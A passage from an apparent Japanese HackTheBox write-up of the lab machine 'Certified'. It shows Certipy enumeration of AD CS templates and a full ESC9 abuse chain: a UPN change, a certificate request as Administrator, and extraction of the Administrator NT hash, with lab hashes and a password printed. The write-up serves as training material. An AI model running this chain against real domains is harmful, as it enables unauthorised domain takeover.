[+] Authenticating to LDAP server
[+] Bound to ldaps://10.10.11.41:636 - ssl
[+] Default path: DC=certified,DC=htb
[+] Configuration path: CN=Configuration,DC=certified,DC=htb
[+] Adding Domain Computers to list of current user's SIDs
[+] List of current user's SIDs:
     CERTIFIED.HTB\Domain Computers (S-1-5-21-729746778-2675978091-3820388244-515)
     CERTIFIED.HTB\Authenticated Users (CERTIFIED.HTB-S-1-5-11)
     CERTIFIED.HTB\Users (CERTIFIED.HTB-S-1-5-32-545)
     CERTIFIED.HTB\Everyone (CERTIFIED.HTB-S-1-1-0)
     CERTIFIED.HTB\Domain Users (S-1-5-21-729746778-2675978091-3820388244-513)
     CERTIFIED.HTB\operator ca (S-1-5-21-729746778-2675978091-3820388244-1106)
[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[+] Trying to resolve 'DC01.certified.htb' at '10.10.11.41'
[*] Trying to get CA configuration for 'certified-DC01-CA' via CSRA
[+] Trying to get DCOM connection for: 10.10.11.41
[!] Got error while trying to get CA configuration for 'certified-DC01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'certified-DC01-CA' via RRP
[+] Connected to remote registry at 'DC01.certified.htb' (10.10.11.41)
[*] Got CA configuration for 'certified-DC01-CA'
[+] Resolved 'DC01.certified.htb' from cache: 10.10.11.41
[+] Connecting to 10.10.11.41:80
[*] Enumeration output:
Certificate Authorities
  0
    CA Name                             : certified-DC01-CA
    DNS Name                            : DC01.certified.htb
    Certificate Subject                 : CN=certified-DC01-CA, DC=certified, DC=htb
    Certificate Serial Number           : 36472F2C180FBB9B4983AD4D60CD5A9D
    Certificate Validity Start          : 2024-05-13 15:33:41+00:00
    Certificate Validity End            : 2124-05-13 15:43:41+00:00
    Web Enrollment                      : Disabled
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Permissions
      Owner                             : CERTIFIED.HTB\Administrators
      Access Rights
        ManageCertificates              : CERTIFIED.HTB\Administrators
                                          CERTIFIED.HTB\Domain Admins
                                          CERTIFIED.HTB\Enterprise Admins
        ManageCa                        : CERTIFIED.HTB\Administrators
                                          CERTIFIED.HTB\Domain Admins
                                          CERTIFIED.HTB\Enterprise Admins
        Enroll                          : CERTIFIED.HTB\Authenticated Users
Certificate Templates
  0
    Template Name                       : CertifiedAuthentication
    Display Name                        : Certified Authentication
    Certificate Authorities             : certified-DC01-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : False
    Certificate Name Flag               : SubjectRequireDirectoryPath
                                          SubjectAltRequireUpn
    Enrollment Flag                     : NoSecurityExtension
                                          AutoEnrollment
                                          PublishToDs
    Private Key Flag                    : 16777216
                                          65536
    Extended Key Usage                  : Server Authentication
                                          Client Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Validity Period                     : 1000 years
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Permissions
      Enrollment Permissions
        Enrollment Rights               : CERTIFIED.HTB\operator ca
                                          CERTIFIED.HTB\Domain Admins
                                          CERTIFIED.HTB\Enterprise Admins
      Object Control Permissions
        Owner                           : CERTIFIED.HTB\Administrator
        Write Owner Principals          : CERTIFIED.HTB\Domain Admins
                                          CERTIFIED.HTB\Enterprise Admins
                                          CERTIFIED.HTB\Administrator
        Write Dacl Principals           : CERTIFIED.HTB\Domain Admins
                                          CERTIFIED.HTB\Enterprise Admins
                                          CERTIFIED.HTB\Administrator
        Write Property Principals       : CERTIFIED.HTB\Domain Admins
                                          CERTIFIED.HTB\Enterprise Admins
                                          CERTIFIED.HTB\Administrator
    [!] Vulnerabilities
      ESC9                              : 'CERTIFIED.HTB\\operator ca' can enroll and template has no security extension
```
ESC9が使えそう。
## ADCS
ESC9を実施していきます。UPNを変更できる権限を持ってるアカウントは`management_svc`がいるのでこれで実施できそうです。詳しくは以下のHackTricksを参照しましょう。

https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.html?highlight=ESC9#no-security-extension---esc9

手順では`certipy shadow auto`があるが、すでにパスワード変更を実施してるのでハッシュを取得する必要はない。
というわけで試していく。

```bash
┌──(root㉿kali)-[~/work/Certipy-Docker]
└─# certipy account update -username 'management_svc@certified.htb' -hashes :a091c1832bcdd4677c28b5a6a1295584 -user ca_operator -upn Administrator -dc-ip 10.10.11.41
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Updating user 'ca_operator':
    userPrincipalName                   : Administrator
[*] Successfully updated 'ca_operator'


┌──(root㉿kali)-[~/work]
└─# certipy req -username ca_operator@certified.htb -password 'Password123!' -ca certified-DC01-CA -template CertifiedAuthentication -dc-ip 10.10.11.41
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 4
[*] Got certificate with UPN 'Administrator'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator.pfx'
```
adminの証明書をゲットできた。`ca_operator`を元に戻しておく。
```bash
┌──(root㉿kali)-[~/work]
└─# certipy account update -username 'management_svc@certified.htb' -hashes :a091c1832bcdd4677c28b5a6a1295584 -user ca_operator -upn ca_operator@certified.htb -dc-ip 10.10.11.41
```
後は認証してハッシュを取得するだけ。
```bash
┌──(root㉿kali)-[~/work]
└─# certipy auth -pfx administrator.pfx -domain certified.htb -dc-ip 10.10.11.41
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@certified.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@certified.htb': aad3b435b51404eeaad3b435b51404ee:0d5b49608bbce1751f708748f67e2d34
```
このハッシュで侵入していく。
![7.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/a2edcaaf-b211-0e0d-b247-84041eba358c.png)
行けた。これでAdministratorの権限を奪取できた。

# まとめ
![8.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/458e4150-23a4-4a27-c1a3-f7115d57b6f5.png)
これで特権昇格に成功し、Administrator権限奪取に成功しました。
最近ADのクレデンシャルが最初から渡されますが、それに気づかずに列挙地獄に突入することが多かったので、最初から気づけたのはデカい。
後はADCS悪用ガンガンしていくBOXで面白かったです。

今回もセキュリティエンジニアの皆さんの助けになればなと思います。